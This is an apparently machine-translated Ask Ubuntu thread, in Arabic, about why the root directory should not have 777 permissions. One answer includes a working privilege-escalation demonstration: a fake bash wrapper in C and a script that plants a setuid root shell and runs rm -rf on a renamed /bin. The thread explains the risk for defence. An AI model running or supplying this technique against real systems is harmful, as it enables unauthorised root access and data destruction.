سؤال يجب أن الجذر / لديك 777 إذن؟


معظم محتويات 755 رغم ذلك.

هذا هو مشكلة؟


3
2018-04-24 01:39


الأصل


هل يمكنك تعديل سؤالك وعنوانك لتوضيح ما تطلبه. هل هو الذي يشكو من أذونات 755 ، أم أنك تسأل إذا كان يجب أن يكون الجذر 777 أذونات؟ - Terrance
السؤال الفعلي لم يكن أي شيء آخر غير ما هو عليه الآن. تمت إزالة جميع التفاصيل الإضافية الآن لأنها تسببت في ارتباك ما تم طرحه. - K. Eoe
آه ، حسنًا. دعني أعدل ثانية. - Terrance


الأجوبة:


هذا مثير للاهتمام أن / يسمح في الواقع 777 أذونات يتم تعيينها عليه. ال / مجلد لا ينبغي أن يكون 777 أذونات ، لأن هذا يعني أن أي مستخدم مسجل في النظام يمكنه إنشاء ملفات ومجلدات في / مستوى الجذر. لقد اختبرت هذا في VM وأنت لا تستطيع حذف أي من المجلدات أو الملفات التي ليست كذلك 777 دون أن sudo، root أو ال owner. ما زال يتم اتباع أذونات الوصول ، مثل محاولة الوصول إلى /root المجلد نفسه سيعطيك الإذن. ومع ذلك ، هذا يقال ، لا يزال بإمكانك تحريك /root مجلد ل /root.old خلق الفوضى قليلا.

لإصلاح هذا يمكنك تشغيل sudo chmod 755 / لتغيير الأذونات إلى ما ينبغي أن يكون. يمكنك أيضا تشغيل sudo chown root:root / فقط للتأكد من أنها مملوكة للجذر نفسه. لا تقم بتشغيل أي من تلك الأوامر مع -R لأن ذلك سيؤدي إلى تغيير جميع الملفات والمجلدات الموجودة في القسم لمطابقة الأذونات والملكية.

أتمنى أن يساعدك هذا!


12
2018-04-24 01:45



رائع..That should not be a problem..لماذا ا؟ - heemayl
Terrance Ok..cool..i have downvoted your answer for now..once OP will sure the missing bits i will remove my downvote and give a upvote happily :) The question (as it stand now) has the heading Should the root / have 777 permission? والخط الأول من إجابتك هو That should not be a problem ..لقد قرع لي عندما تكون ثابتة .. - heemayl
heemayl سأفعل ذلك. =) - Terrance
@ K.Eoe كل شيء جيد الآن. سأقوم بإزالة كل تعليقاتي من هنا كما هي الآن. - Terrance
heemayl قمت بإصلاحه ، وكان لدي سوء فهم كبير مع ما كان يسأل عنه حيث كنت مرتبكًا مع الـ UFw واعتقد أنه كان يشكو من مجلدات 755 لأنني كنت جزءًا من السؤال الأصلي. هو الآن ثابت وأنا أفهم. يمكنك تركها أو تغييرها. أنا لست مجنونة في كلتا الحالتين. خالص اعتذاري صديقي! =) - Terrance


/ يجب أن لا تكون قابلة للكتابة في العالم

/ يمكن أن يكون العالم يمكن أن يكون أ ضخم مشكلة. وجود أذونات الكتابة على /يمكن لأي مستخدم نقل / إعادة تسمية أي ملف أو دليل في /. هذا يعني أنه يمكن لأي مستخدم استبداله /etc، /usr أو أي من الدلائل الأخرى في / مع الدلائل من اختيارهم.

الحرمان من الخدمة: تافهة

يمكن لأي مستخدم تفكيك النظام الخاص بك ، عن طريق إعادة تسمية /etc و /usr.

تصعيد الامتياز: أقل تافهاً قليلاً

من الأصعب قليلاً أداء تصعيد الامتياز. يمكن للمستخدم استبدال /bin مع نسختهم الخاصة ، وأي عملية تحاول بعد ذلك استخدامها cp، او حتى بدء صدفة، سيكون على الفور تحت رحمتهم. كل ما يحتاجه المستخدم هو الانتظار حتى تعمل العملية كجذر لاستخدام أي أمر في /bin، أو المستخدم الجذر لاستخدام تسجيل الدخول ، وهم في.

مثال

bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

وثم:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

وفي المرة القادمة جذر يبدأ shell ، يمكنك الحصول على setuid قابل للتنفيذ في الدليل الرئيسي الخاص بك والتي يمكنك استخدامها بعد ذلك بشكل مريح لكسب الجذر كلما كنت ترغب في ذلك ، دون ترك الكثير من الأثر.


8
2018-04-24 04:40



أحب هذا! +1 لك يا صديقي! =) - Terrance
عار أن bash نفسه لن يسمح لنفسه تشغيل كما setuid ، لذلك لديك setuid bash القابل للتنفيذ الآن غير مجدية ... - Hitechcomputergeek
Hitechcomputergeek غير ذي صلة. يمكنك جعل أي شيء setuid. ما عليك سوى اختيار أمر آخر ، أو كتابة غلاف آخر. - muru
muru تأكد من أنه غير ذي صلة ، فأنا أذكر ببساطة أن المثال الخاص بك لا يعمل فعليًا. - Hitechcomputergeek


رقم ليس آمنا ل / (الدليل الجذر) 777 الأذونات. هذا يعني rwxrwxrwx، أي أن كل مستخدم لديه إذن كتابة إلى الدليل الجذر.

وبهذا الإذن ، سيتمكن كل مستخدم من إنشاء أدلة فرعية جديدة ، وحذف الأدلة الفرعية الموجودة ، واستبدال الأدلة الفرعية الموجودة. على سبيل المثال ، يمكن حذف مستخدم ضار /bin (عن طريق تسميتها ل /bin.old) وإنشاء جديد /bin يملكها ، تحتوي على ملفات تنفيذية ضارة. أو يمكن للمستخدم حذف /etc (عن طريق تسميتها ل /etc.old) وإنشاء جديد /etc تحتوي على جديد /etc/passwd و /etc/shadow الملف الذي يسمح للمستخدم بتسجيل الدخول إلى كل حساب على النظام.


8
2018-04-24 04:38



أنا أساءت فهم السؤال حيث كان ال ufw يرمي. خالص اعتذاري. +1 للحصول على إجابة رائعة. =) - Terrance
لن أحذف /bin الحاجة الأولى /binسيتم إزالة محتوياته - والتي لن يكون لدى المستخدم أذونات لها؟ ومع ذلك ، فإن جميع أنواع إساءة الاستخدام الأخرى ستكون ممكنة ، لذلك لا يؤدي هذا إلى إبطال نقطتك الرئيسية. - hvd
hvd ، لا: يمكنك إعادة تسمية /bin إلى /bin.old دون حذف محتوياته ، ثم قم بإنشاء /bin، ثم وضع الملفات التنفيذية الخبيثة في الجديد /bin. - D.W.
@ D.W. بالضبط. بعبارة أخرى ، قد تكون هناك إساءة أخرى ، ولكن يتم حذفها /bin لن يكون من الممكن. وهو ما أشرت إليه. - hvd
hvd ، حسنًا ، لقد عدّلت الإجابة لجعلها أكثر وضوحًا. - D.W.